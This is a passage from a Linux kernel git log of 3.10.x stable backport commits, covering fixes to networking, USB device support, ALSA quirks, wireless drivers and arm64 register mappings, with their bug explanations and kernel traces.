Kroah-Hartman Signed-off-by: Pranav Vashi commit 5855a3e236f0dfded1adf2a0f0d5f03643abf241 Author: Michal KubeÄek Date: Tue Nov 24 15:07:11 2015 +0100 ipv6: distinguish frag queues by device for multicast and link-local packets [ Upstream commit 264640fc2c5f4f913db5c73fa3eb1ead2c45e9d7 ] If a fragmented multicast packet is received on an ethernet device which has an active macvlan on top of it, each fragment is duplicated and received both on the underlying device and the macvlan. If some fragments for macvlan are processed before the whole packet for the underlying device is reassembled, the "overlapping fragments" test in ip6_frag_queue() discards the whole fragment queue. To resolve this, add device ifindex to the search key and require it to match reassembling multicast packets and packets to link-local addresses. Note: similar patch has been already submitted by Yoshifuji Hideaki in http://patchwork.ozlabs.org/patch/220979/ but got lost and forgotten for some reason. Signed-off-by: Michal Kubecek Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 232617d2fee46067f56862bc98a5491f76e5b36e Author: Aaro Koskinen Date: Sun Nov 22 01:08:54 2015 +0200 broadcom: fix PHY_ID_BCM5481 entry in the id table [ Upstream commit 3c25a860d17b7378822f35d8c9141db9507e3beb ] Commit fcb26ec5b18d ("broadcom: move all PHY_ID's to header") updated broadcom_tbl to use PHY_IDs, but incorrectly replaced 0x0143bca0 with PHY_ID_BCM5482 (making a duplicate entry, and completely omitting the original). Fix that. Fixes: fcb26ec5b18d ("broadcom: move all PHY_ID's to header") Signed-off-by: Aaro Koskinen Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cc82a68c3ea34640958f88ef1ed2bd53b880aad4 Author: Nikolay Aleksandrov Date: Fri Nov 20 13:54:20 2015 +0100 net: ip6mr: fix static mfc/dev leaks on table destruction [ Upstream commit 4c6980462f32b4f282c5d8e5f7ea8070e2937725 ] Similar to ipv4, when destroying an mrt table the static mfc entries and the static devices are kept, which leads to devices that can never be destroyed (because of refcnt taken) and leaked memory. Make sure that everything is cleaned up on netns destruction. Fixes: 8229efdaef1e ("netns: ip6mr: enable namespace support in ipv6 multicast forwarding code") CC: Benjamin Thery Signed-off-by: Nikolay Aleksandrov Reviewed-by: Cong Wang Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 90c6c35c894b041d6ce01dc03a72230b44560989 Author: Nikolay Aleksandrov Date: Fri Nov 20 13:54:19 2015 +0100 net: ipmr: fix static mfc/dev leaks on table destruction [ Upstream commit 0e615e9601a15efeeb8942cf7cd4dadba0c8c5a7 ] When destroying an mrt table the static mfc entries and the static devices are kept, which leads to devices that can never be destroyed (because of refcnt taken) and leaked memory, for example: unreferenced object 0xffff880034c144c0 (size 192): comm "mfc-broken", pid 4777, jiffies 4320349055 (age 46001.964s) hex dump (first 32 bytes): 98 53 f0 34 00 88 ff ff 98 53 f0 34 00 88 ff ff .S.4.....S.4.... ef 0a 0a 14 01 02 03 04 00 00 00 00 01 00 00 00 ................ backtrace: [] kmemleak_alloc+0x4e/0xb0 [] kmem_cache_alloc+0x190/0x300 [] ip_mroute_setsockopt+0x5cb/0x910 [] do_ip_setsockopt.isra.11+0x105/0xff0 [] ip_setsockopt+0x30/0xa0 [] raw_setsockopt+0x33/0x90 [] sock_common_setsockopt+0x14/0x20 [] SyS_setsockopt+0x71/0xc0 [] entry_SYSCALL_64_fastpath+0x16/0x7a [] 0xffffffffffffffff Make sure that everything is cleaned on netns destruction. Signed-off-by: Nikolay Aleksandrov Reviewed-by: Cong Wang Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1cdd5871487a7753a0f0f9f857d26df87c65bc66 Author: Daniel Borkmann Date: Fri Nov 20 00:11:56 2015 +0100 net, scm: fix PaX detected msg_controllen overflow in scm_detach_fds [ Upstream commit 6900317f5eff0a7070c5936e5383f589e0de7a09 ] David and HacKurx reported a following/similar size overflow triggered in a grsecurity kernel, thanks to PaX's gcc size overflow plugin: (Already fixed in later grsecurity versions by Brad and PaX Team.) [ 1002.296137] PAX: size overflow detected in function scm_detach_fds net/core/scm.c:314 cicus.202_127 min, count: 4, decl: msg_controllen; num: 0; context: msghdr; [ 1002.296145] CPU: 0 PID: 3685 Comm: scm_rights_recv Not tainted 4.2.3-grsec+ #7 [ 1002.296149] Hardware name: Apple Inc. MacBookAir5,1/Mac-66F35F19FE2A0D05, [...] [ 1002.296153] ffffffff81c27366 0000000000000000 ffffffff81c27375 ffffc90007843aa8 [ 1002.296162] ffffffff818129ba 0000000000000000 ffffffff81c27366 ffffc90007843ad8 [ 1002.296169] ffffffff8121f838 fffffffffffffffc fffffffffffffffc ffffc90007843e60 [ 1002.296176] Call Trace: [ 1002.296190] [] dump_stack+0x45/0x57 [ 1002.296200] [] report_size_overflow+0x38/0x60 [ 1002.296209] [] scm_detach_fds+0x2ce/0x300 [ 1002.296220] [] unix_stream_read_generic+0x609/0x930 [ 1002.296228] [] unix_stream_recvmsg+0x4f/0x60 [ 1002.296236] [] ? unix_set_peek_off+0x50/0x50 [ 1002.296243] [] sock_recvmsg+0x47/0x60 [ 1002.296248] [] ___sys_recvmsg+0xe2/0x1e0 [ 1002.296257] [] __sys_recvmsg+0x46/0x80 [ 1002.296263] [] SyS_recvmsg+0x2c/0x40 [ 1002.296271] [] entry_SYSCALL_64_fastpath+0x12/0x85 Further investigation showed that this can happen when an *odd* number of fds are being passed over AF_UNIX sockets. In these cases CMSG_LEN(i * sizeof(int)) and CMSG_SPACE(i * sizeof(int)), where i is the number of successfully passed fds, differ by 4 bytes due to the extra CMSG_ALIGN() padding in CMSG_SPACE() to an 8 byte boundary on 64 bit. The padding is used to align subsequent cmsg headers in the control buffer. When the control buffer passed in from the receiver side *lacks* these 4 bytes (e.g. due to buggy/wrong API usage), then msg->msg_controllen will overflow in scm_detach_fds(): int cmlen = CMSG_LEN(i * sizeof(int)); <--- cmlen w/o tail-padding err = put_user(SOL_SOCKET, &cm->cmsg_level); if (!err) err = put_user(SCM_RIGHTS, &cm->cmsg_type); if (!err) err = put_user(cmlen, &cm->cmsg_len); if (!err) { cmlen = CMSG_SPACE(i * sizeof(int)); <--- cmlen w/ 4 byte extra tail-padding msg->msg_control += cmlen; msg->msg_controllen -= cmlen; <--- iff no tail-padding space here ... } ... wrap-around F.e. it will wrap to a length of 18446744073709551612 bytes in case the receiver passed in msg->msg_controllen of 20 bytes, and the sender properly transferred 1 fd to the receiver, so that its CMSG_LEN results in 20 bytes and CMSG_SPACE in 24 bytes. In case of MSG_CMSG_COMPAT (scm_detach_fds_compat()), I haven't seen an issue in my tests as alignment seems always on 4 byte boundary. Same should be in case of native 32 bit, where we end up with 4 byte boundaries as well. In practice, passing msg->msg_controllen of 20 to recvmsg() while receiving a single fd would mean that on successful return, msg->msg_controllen is being set by the kernel to 24 bytes instead, thus more than the input buffer advertised. It could f.e. become an issue if such application later on zeroes or copies the control buffer based on the returned msg->msg_controllen elsewhere. Maximum number of fds we can send is a hard upper limit SCM_MAX_FD (253). Going over the code, it seems like msg->msg_controllen is not being read after scm_detach_fds() in scm_recv() anymore by the kernel, good! Relevant recvmsg() handler are unix_dgram_recvmsg() (unix_seqpacket_recvmsg()) and unix_stream_recvmsg(). Both return back to their recvmsg() caller, and ___sys_recvmsg() places the updated length, that is, new msg_control - old msg_control pointer into msg->msg_controllen (hence the 24 bytes seen in the example). Long time ago, Wei Yongjun fixed something related in commit 1ac70e7ad24a ("[NET]: Fix function put_cmsg() which may cause usr application memory overflow"). RFC3542, section 20.2. says: The fields shown as "XX" are possible padding, between the cmsghdr structure and the data, and between the data and the next cmsghdr structure, if required by the implementation. While sending an application may or may not include padding at the end of last ancillary data in msg_controllen and implementations must accept both as valid. On receiving a portable application must provide space for padding at the end of the last ancillary data as implementations may copy out the padding at the end of the control message buffer and include it in the received msg_controllen. When recvmsg() is called if msg_controllen is too small for all the ancillary data items including any trailing padding after the last item an implementation may set MSG_CTRUNC. Since we didn't place MSG_CTRUNC for already quite a long time, just do the same as in 1ac70e7ad24a to avoid an overflow. Btw, even man-page author got this wrong :/ See db939c9b26e9 ("cmsg.3: Fix error in SCM_RIGHTS code sample"). Some people must have copied this (?), thus it got triggered in the wild (reported several times during boot by David and HacKurx). No Fixes tag this time as pre 2002 (that is, pre history tree). Reported-by: David Sterba Reported-by: HacKurx Cc: PaX Team Cc: Emese Revfy Cc: Brad Spengler Cc: Wei Yongjun Cc: Eric Dumazet Reviewed-by: Hannes Frederic Sowa Signed-off-by: Daniel Borkmann Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 40f19004beb82580791bd7f2635e43f0460b9f61 Author: Eric Dumazet Date: Thu Nov 26 08:18:14 2015 -0800 tcp: initialize tp->copied_seq in case of cross SYN connection [ Upstream commit 142a2e7ece8d8ac0e818eb2c91f99ca894730e2a ] Dmitry provided a syzkaller (http://github.com/google/syzkaller) generated program that triggers the WARNING at net/ipv4/tcp.c:1729 in tcp_recvmsg() : WARN_ON(tp->copied_seq != tp->rcv_nxt && !(flags & (MSG_PEEK | MSG_TRUNC))); His program is specifically attempting a Cross SYN TCP exchange, that we support (for the pleasure of hackers ?), but it looks we lack proper tcp->copied_seq initialization. Thanks again Dmitry for your report and testings. Signed-off-by: Eric Dumazet Reported-by: Dmitry Vyukov Tested-by: Dmitry Vyukov Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4524ae74f36c87525f86f471c46da9eac16b4575 Author: Eric Dumazet Date: Wed Nov 18 12:40:13 2015 -0800 tcp: md5: fix lockdep annotation [ Upstream commit 1b8e6a01e19f001e9f93b39c32387961c91ed3cc ] When a passive TCP is created, we eventually call tcp_md5_do_add() with sk pointing to the child. It is not owner by the user yet (we will add this socket into listener accept queue a bit later anyway) But we do own the spinlock, so amend the lockdep annotation to avoid following splat : [ 8451.090932] net/ipv4/tcp_ipv4.c:923 suspicious rcu_dereference_protected() usage! [ 8451.090932] [ 8451.090932] other info that might help us debug this: [ 8451.090932] [ 8451.090934] [ 8451.090934] rcu_scheduler_active = 1, debug_locks = 1 [ 8451.090936] 3 locks held by socket_sockopt_/214795: [ 8451.090936] #0: (rcu_read_lock){.+.+..}, at: [] __netif_receive_skb_core+0x151/0xe90 [ 8451.090947] #1: (rcu_read_lock){.+.+..}, at: [] ip_local_deliver_finish+0x43/0x2b0 [ 8451.090952] #2: (slock-AF_INET){+.-...}, at: [] sk_clone_lock+0x1c5/0x500 [ 8451.090958] [ 8451.090958] stack backtrace: [ 8451.090960] CPU: 7 PID: 214795 Comm: socket_sockopt_ [ 8451.091215] Call Trace: [ 8451.091216] [] dump_stack+0x55/0x76 [ 8451.091229] [] lockdep_rcu_suspicious+0xeb/0x110 [ 8451.091235] [] tcp_md5_do_add+0x1bf/0x1e0 [ 8451.091239] [] tcp_v4_syn_recv_sock+0x1f1/0x4c0 [ 8451.091242] [] ? tcp_v4_md5_hash_skb+0x167/0x190 [ 8451.091246] [] tcp_check_req+0x3c8/0x500 [ 8451.091249] [] ? tcp_v4_inbound_md5_hash+0x11e/0x190 [ 8451.091253] [] tcp_v4_rcv+0x3c0/0x9f0 [ 8451.091256] [] ? ip_local_deliver_finish+0x43/0x2b0 [ 8451.091260] [] ip_local_deliver_finish+0xb6/0x2b0 [ 8451.091263] [] ? ip_local_deliver_finish+0x43/0x2b0 [ 8451.091267] [] ip_local_deliver+0x48/0x80 [ 8451.091270] [] ip_rcv_finish+0x160/0x700 [ 8451.091273] [] ip_rcv+0x29e/0x3d0 [ 8451.091277] [] __netif_receive_skb_core+0xb47/0xe90 Fixes: a8afca0329988 ("tcp: md5: protects md5sig_info with RCU") Signed-off-by: Eric Dumazet Reported-by: Willem de Bruijn Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 74a365158f3fcbf19426dcdcb2fcd9dd52761112 Author: Bjørn Mork Date: Wed Nov 18 21:13:07 2015 +0100 net: qmi_wwan: add XS Stick W100-2 from 4G Systems [ Upstream commit 68242a5a1e2edce39b069385cbafb82304eac0f1 ] Thomas reports " 4gsystems sells two total different LTE-surfsticks under the same name. .. The newer version of XS Stick W100 is from "omega" .. Under windows the driver switches to the same ID, and uses MI03\6 for network and MI01\6 for modem. .. echo "1c9e 9b01" > /sys/bus/usb/drivers/qmi_wwan/new_id echo "1c9e 9b01" > /sys/bus/usb-serial/drivers/option1/new_id T: Bus=01 Lev=01 Prnt=01 Port=03 Cnt=01 Dev#= 4 Spd=480 MxCh= 0 D: Ver= 2.00 Cls=00(>ifc ) Sub=00 Prot=00 MxPS=64 #Cfgs= 1 P: Vendor=1c9e ProdID=9b01 Rev=02.32 S: Manufacturer=USB Modem S: Product=USB Modem S: SerialNumber= C: #Ifs= 5 Cfg#= 1 Atr=80 MxPwr=500mA I: If#= 0 Alt= 0 #EPs= 2 Cls=ff(vend.) Sub=ff Prot=ff Driver=option I: If#= 1 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=ff Prot=ff Driver=option I: If#= 2 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=ff Prot=ff Driver=option I: If#= 3 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=ff Prot=ff Driver=qmi_wwan I: If#= 4 Alt= 0 #EPs= 2 Cls=08(stor.) Sub=06 Prot=50 Driver=usb-storage Now all important things are there: wwp0s29f7u2i3 (net), ttyUSB2 (at), cdc-wdm0 (qmi), ttyUSB1 (at) There is also ttyUSB0, but it is not usable, at least not for at. The device works well with qmi and ModemManager-NetworkManager. " Reported-by: Thomas Schäfer Signed-off-by: Bjørn Mork Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 57097001fc5c1674b4def097f9acd27c0896d3a0 Author: Neil Horman Date: Mon Nov 16 13:09:10 2015 -0500 snmp: Remove duplicate OUTMCAST stat increment [ Upstream commit 41033f029e393a64e81966cbe34d66c6cf8a2e7e ] the OUTMCAST stat is double incremented, getting bumped once in the mcast code itself, and again in the common ip output path. Remove the mcast bump, as its not needed Validated by the reporter, with good results Signed-off-by: Neil Horman Reported-by: Claus Jensen CC: Claus Jensen CC: David Miller Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit afd9c80fa72b71ff715ec5ca803ded3a8f8dde4d Author: lucien Date: Thu Nov 12 13:07:07 2015 +0800 sctp: translate host order to network order when setting a hmacid [ Upstream commit ed5a377d87dc4c87fb3e1f7f698cba38cd893103 ] now sctp auth cannot work well when setting a hmacid manually, which is caused by that we didn't use the network order for hmacid, so fix it by adding the transformation in sctp_auth_ep_set_hmacs. even we set hmacid with the network order in userspace, it still can't work, because of this condition in sctp_auth_ep_set_hmacs(): if (id > SCTP_AUTH_HMAC_ID_MAX) return -EOPNOTSUPP; so this wasn't working before and thus it won't break compatibility. Fixes: 65b07e5d0d09 ("[SCTP]: API updates to suport SCTP-AUTH extensions.") Signed-off-by: Xin Long Signed-off-by: Marcelo Ricardo Leitner Acked-by: Neil Horman Acked-by: Vlad Yasevich Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 147ccdc3e74cca6c8486a7b3f605c684b80f5d53 Author: Greg Kroah-Hartman Date: Wed Dec 9 13:43:21 2015 -0500 Linux 3.10.94 Signed-off-by: Pranav Vashi commit 284eccf457cd589077fc684f62c1dba879101cc1 Author: Clemens Ladisch Date: Sun Nov 15 22:39:08 2015 +0100 ALSA: usb-audio: work around CH345 input SysEx corruption commit a91e627e3f0ed820b11d86cdc04df38f65f33a70 upstream. One of the many faults of the QinHeng CH345 USB MIDI interface chip is that it does not handle received SysEx messages correctly -- every second event packet has a wrong code index number, which is the one from the last seen message, instead of 4. For example, the two messages "FE F0 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E F7" result in the following event packets: correct: CH345: 0F FE 00 00 0F FE 00 00 04 F0 01 02 04 F0 01 02 04 03 04 05 0F 03 04 05 04 06 07 08 04 06 07 08 04 09 0A 0B 0F 09 0A 0B 04 0C 0D 0E 04 0C 0D 0E 05 F7 00 00 05 F7 00 00 A class-compliant driver must interpret an event packet with CIN 15 as having a single data byte, so the other two bytes would be ignored. The message received by the host would then be missing two bytes out of six; in this example, "F0 01 02 03 06 07 08 09 0C 0D 0E F7". These corrupted SysEx event packages contain only data bytes, while the CH345 uses event packets with a correct CIN value only for messages with a status byte, so it is possible to distinguish between these two cases by checking for the presence of this status byte. (Other bugs in the CH345's input handling, such as the corruption resulting from running status, cannot be worked around.) Signed-off-by: Clemens Ladisch Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b985634c8004d72bd31f0cb05561034b56838644 Author: Clemens Ladisch Date: Sun Nov 15 22:38:29 2015 +0100 ALSA: usb-audio: prevent CH345 multiport output SysEx corruption commit 1ca8b201309d842642f221db7f02f71c0af5be2d upstream. The CH345 USB MIDI chip has two output ports. However, they are multiplexed through one pin, and the number of ports cannot be reduced even for hardware that implements only one connector, so for those devices, data sent to either port ends up on the same hardware output. This becomes a problem when both ports are used at the same time, as longer MIDI commands (such as SysEx messages) are likely to be interrupted by messages from the other port, and thus to get lost. It would not be possible for the driver to detect how many ports the device actually has, except that in practice, _all_ devices built with the CH345 have only one port. So we can just ignore the device's descriptors, and hardcode one output port. Signed-off-by: Clemens Ladisch Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bf26f0d8fd02de66d6c1cce4b377d0cb7064c2b5 Author: Clemens Ladisch Date: Sun Nov 15 22:37:44 2015 +0100 ALSA: usb-audio: add packet size quirk for the Medeli DD305 commit 98d362becb6621bebdda7ed0eac7ad7ec6c37898 upstream. Signed-off-by: Clemens Ladisch Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 026ef5cf45682e24ee09ae4b15aa923178c2aae6 Author: Bjørn Mork Date: Wed Nov 18 21:12:33 2015 +0100 USB: option: add XS Stick W100-2 from 4G Systems commit 638148e20c7f8f6e95017fdc13bce8549a6925e0 upstream. Thomas reports " 4gsystems sells two total different LTE-surfsticks under the same name. .. The newer version of XS Stick W100 is from "omega" .. Under windows the driver switches to the same ID, and uses MI03\6 for network and MI01\6 for modem. .. echo "1c9e 9b01" > /sys/bus/usb/drivers/qmi_wwan/new_id echo "1c9e 9b01" > /sys/bus/usb-serial/drivers/option1/new_id T: Bus=01 Lev=01 Prnt=01 Port=03 Cnt=01 Dev#= 4 Spd=480 MxCh= 0 D: Ver= 2.00 Cls=00(>ifc ) Sub=00 Prot=00 MxPS=64 #Cfgs= 1 P: Vendor=1c9e ProdID=9b01 Rev=02.32 S: Manufacturer=USB Modem S: Product=USB Modem S: SerialNumber= C: #Ifs= 5 Cfg#= 1 Atr=80 MxPwr=500mA I: If#= 0 Alt= 0 #EPs= 2 Cls=ff(vend.) Sub=ff Prot=ff Driver=option I: If#= 1 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=ff Prot=ff Driver=option I: If#= 2 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=ff Prot=ff Driver=option I: If#= 3 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=ff Prot=ff Driver=qmi_wwan I: If#= 4 Alt= 0 #EPs= 2 Cls=08(stor.) Sub=06 Prot=50 Driver=usb-storage Now all important things are there: wwp0s29f7u2i3 (net), ttyUSB2 (at), cdc-wdm0 (qmi), ttyUSB1 (at) There is also ttyUSB0, but it is not usable, at least not for at. The device works well with qmi and ModemManager-NetworkManager. " Reported-by: Thomas Schäfer Signed-off-by: Bjørn Mork Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit de57b3a9dcf7ced3105dfcb9838e03a519757aa2 Author: Aleksander Morgado Date: Wed Nov 11 19:51:40 2015 +0100 USB: serial: option: add support for Novatel MiFi USB620L commit e07af133c3e2716db25e3e1e1d9f10c2088e9c1a upstream. Also known as Verizon U620L. The device is modeswitched from 1410:9020 to 1410:9022 by selecting the 4th USB configuration: $ sudo usb_modeswitch –v 0x1410 –p 0x9020 –u 4 This configuration provides a ECM interface as well as TTYs ('Enterprise Mode' according to the U620 Linux integration guide). Signed-off-by: Aleksander Morgado Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7c8a6df034bbe13bfc73c7cf330d433a7c7cf676 Author: Uwe Kleine-König Date: Fri Oct 23 09:53:50 2015 +0200 usb: musb: core: fix order of arguments to ulpi write callback commit 705e63d2b29c8bbf091119084544d353bda70393 upstream. There is a bit of a mess in the order of arguments to the ulpi write callback. There is int ulpi_write(struct ulpi *ulpi, u8 addr, u8 val) in drivers/usb/common/ulpi.c; struct usb_phy_io_ops { ... int (*write)(struct usb_phy *x, u32 val, u32 reg); } in include/linux/usb/phy.h. The callback registered by the musb driver has to comply to the latter, but up to now had "offset" first which effectively made the function broken for correct users. So flip the order and while at it also switch to the parameter names of struct usb_phy_io_ops's write. Fixes: ffb865b1e460 ("usb: musb: add ulpi access operations") Signed-off-by: Uwe Kleine-König Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4e8d2beee33a35e189c266f0fd1f4632e4b68e48 Author: Jiri Slaby Date: Mon Nov 2 10:27:00 2015 +0100 usblp: do not set TASK_INTERRUPTIBLE before lock commit 19cd80a214821f4b558560ebd76bfb2c38b4f3d8 upstream. It is not permitted to set task state before lock. usblp_wwait sets the state to TASK_INTERRUPTIBLE and calls mutex_lock_interruptible. Upon return from that function, the state will be TASK_RUNNING again. This is clearly a bug and a warning is generated with LOCKDEP too: WARNING: CPU: 1 PID: 5109 at kernel/sched/core.c:7404 __might_sleep+0x7d/0x90() do not call blocking ops when !TASK_RUNNING; state=1 set at [] usblp_wwait+0xa0/0x310 [usblp] Modules linked in: ... CPU: 1 PID: 5109 Comm: captmon Tainted: G W 4.2.5-0.gef2823b-default #1 Hardware name: LENOVO 23252SG/23252SG, BIOS G2ET33WW (1.13 ) 07/24/2012 ffffffff81a4edce ffff880236ec7ba8 ffffffff81716651 0000000000000000 ffff880236ec7bf8 ffff880236ec7be8 ffffffff8106e146 0000000000000282 ffffffff81a50119 000000000000028b 0000000000000000 ffff8802dab7c508 Call Trace: ... [] warn_slowpath_fmt+0x46/0x50 [] __might_sleep+0x7d/0x90 [] mutex_lock_interruptible_nested+0x2f/0x4b0 [] usblp_wwait+0xcc/0x310 [usblp] [] usblp_write+0x72/0x350 [usblp] [] __vfs_write+0x28/0xf0 ... Commit 7f477358e2384c54b190cc3b6ce28277050a041b (usblp: Implement the ENOSPC convention) moved the set prior locking. So move it back after the lock. Signed-off-by: Jiri Slaby Fixes: 7f477358e2 ("usblp: Implement the ENOSPC convention") Acked-By: Pete Zaitcev Signed-off-by: Greg Kroah-Hartman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b99b5ba3a8be3ca19429b6fe25eb7c2e9c144ae0 Author: Robin Murphy Date: Thu Oct 22 15:41:52 2015 +0100 arm64: Fix compat register mappings commit 5accd17d0eb523350c9ef754d655e379c9bb93b3 upstream. For reasons not entirely apparent, but now enshrined in history, the architectural mapping of AArch32 banked registers to AArch64 registers actually orders SP_ and LR_ backwards compared to the intuitive r13/r14 order, for all modes except FIQ. Fix the compat__ macros accordingly, in the hope of avoiding subtle bugs with KVM and AArch32 guests. Signed-off-by: Robin Murphy Acked-by: Will Deacon Signed-off-by: Catalin Marinas Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 866d3d7b09239a696bd65e6c90d6336ed8c5eeeb Author: Mirza Krak Date: Tue Nov 10 14:59:34 2015 +0100 can: sja1000: clear interrupts on start commit 7cecd9ab80f43972c056dc068338f7bcc407b71c upstream. According to SJA1000 data sheet error-warning (EI) interrupt is not cleared by setting the controller in to reset-mode. Then if we have the following case: - system is suspended (echo mem > /sys/power/state) and SJA1000 is left in operating state - A bus error condition occurs which activates EI interrupt, system is still suspended which means EI interrupt will be not be handled nor cleared. If the above two events occur, on resume there is no way to return the SJA1000 to operating state, except to cycle power to it. By simply reading the IR register on start we will clear any previous conditions that could be present. Signed-off-by: Mirza Krak Reported-by: Christian Magnusson Signed-off-by: Marc Kleine-Budde Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2c3d39e233c5c857b30f69757a80ef01eab1e9ea Author: David Herrmann Date: Mon Sep 7 12:05:41 2015 +0200 Bluetooth: hidp: fix device disconnect on idle timeout commit 660f0fc07d21114549c1862e67e78b1cf0c90c29 upstream. The HIDP specs define an idle-timeout which automatically disconnects a device. This has always been implemented in the HIDP layer and forced a synchronous shutdown of the hidp-scheduler. This works just fine, but lacks a forced disconnect on the underlying l2cap channels. This has been broken since: commit 5205185d461d5902325e457ca80bd421127b7308 Author: David Herrmann Date: Sat Apr 6 20:28:47 2013 +0200 Bluetooth: hidp: remove old session-management The old session-management always forced an l2cap error on the ctrl/intr channels when shutting down. The new session-management skips this, as we don't want to enforce channel policy on the caller. In other words, if user-space removes an HIDP device, the underlying channels (which are *owned* and *referenced* by user-space) are still left active. User-space needs to call shutdown(2) or close(2) to release them. Unfortunately, this does not work with idle-timeouts. There is no way to signal user-space that the HIDP layer has been stopped. The API simply does not support any event-passing except for poll(2). Hence, we restore old behavior and force EUNATCH on the sockets if the HIDP layer is disconnected due to idle-timeouts (behavior of explicit disconnects remains unmodified). User-space can still call getsockopt(..., SO_ERROR, ...) ..to retrieve the EUNATCH error and clear sk_err. Hence, the channels can still be re-used (which nobody does so far, though). Therefore, the API still supports the new behavior, but with this patch it's also compatible to the old implicit channel shutdown. Reported-by: Mark Haun Reported-by: Luiz Augusto von Dentz Signed-off-by: David Herrmann Signed-off-by: Marcel Holtmann Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 661fd9bc38fee260da87dadda5b6330c38d373f4 Author: Larry Finger Date: Sun Oct 18 22:14:48 2015 -0500 staging: rtl8712: Add device ID for Sitecom WLA2100 commit 1e6e63283691a2a9048a35d9c6c59cf0abd342e4 upstream. This adds the USB ID for the Sitecom WLA2100. The Windows 10 inf file was checked to verify that the addition is correct. Reported-by: Frans van de Wiel Signed-off-by: Larry Finger Cc: Frans van de Wiel Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7fc9c3fad12f2e6fe5ac68e112bc27bdf503fd4e Author: Dan Carpenter Date: Mon Sep 21 19:19:53 2015 +0300 mwifiex: fix mwifiex_rdeeprom_read() commit 1f9c6e1bc1ba5f8a10fcd6e99d170954d7c6d382 upstream. There were several bugs here. 1) The done label was in the wrong place so we didn't copy any information out when there was no command given. 2) We were using PAGE_SIZE as the size of the buffer instead of "PAGE_SIZE - pos". 3) snprintf() returns the number of characters that would have been printed if there were enough space. If there was not enough space (and we had fixed the memory corruption bug #2) then it would result in an information leak when we do simple_read_from_buffer(). I've changed it to use scnprintf() instead. I also removed the initialization at the start of the function, because I thought it made the code a little more clear. Fixes: 5e6e3a92b9a4 ('wireless: mwifiex: initial commit for Marvell mwifiex driver') Signed-off-by: Dan Carpenter Acked-by: Amitkumar Karwar Signed-off-by: Kalle Valo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 02bd1cb220d7fe9ef249f79331804c4edc433b1c Author: Maxime Ripard Date: Fri Sep 25 18:09:35 2015 +0200 net: mvneta: Fix CPU_MAP registers initialisation commit 2502d0ef272da7058ef303b849a2c8dc324c2e2e upstream. The CPU_MAP register is duplicated for each CPUs at different addresses, each instance being at a different address. However, the code so far was using CONFIG_NR_CPUS to initialise the CPU_MAP registers for each registers, while the SoCs embed at most 4 CPUs. This is especially an issue with multi_v7_defconfig, where CONFIG_NR_CPUS is currently set to 16, resulting in writes to registers that are not CPU_MAP. Fixes: c5aff18204da ("net: mvneta: driver for Marvell Armada 370/XP network unit") Signed-off-by: Maxime Ripard Signed-off-by: Gregory CLEMENT Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 92c33a7890ab8b184163bbc0b67ad1766a1971fe Author: Johannes Berg Date: Fri Aug 28 10:52:53 2015 +0200 mac80211: fix driver RSSI event calculations commit 8ec6d97871f37e4743678ea4a455bd59580aa0f4 upstream. The ifmgd->ave_beacon_signal value cannot be taken as is for comparisons, it must be divided by since it's represented like that for better accuracy of the EWMA calculations. This would lead to invalid driver RSSI events. Fix the used value. Fixes: 615f7b9bb1f8 ("mac80211: add driver RSSI threshold events") Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit db771c39d4b8c5ae7d06e72a93cb6ab5d854d449 Author: Andrew Cooper Date: Wed Jun 3 10:31:14 2015 +0100 x86/cpu: Fix SMAP check in PVOPS environments commit 581b7f158fe0383b492acd1ce3fb4e99d4e57808 upstream. There appears to be no formal statement of what pv_irq_ops.save_fl() is supposed to return precisely. Native returns the full flags, while lguest and Xen only return the Interrupt Flag, and both have comments by the implementations stating that only the Interrupt Flag is looked at. This may have been true when initially implemented, but no longer is. To make matters worse, the Xen PVOP leaves the upper bits undefined, making the BUG_ON() undefined behaviour. Experimentally, this now trips for 32bit PV guests on Broadwell hardware. The BUG_ON() is consistent for an individual build, but not consistent for all builds. It has also been a sitting timebomb since SMAP support was introduced. Use native_save_fl() instead, which will obtain an accurate view of the AC flag. Signed-off-by: Andrew Cooper Reviewed-by: David Vrabel Tested-by: Rusty Russell Cc: Rusty Russell Cc: Konrad Rzeszutek Wilk Cc: Boris 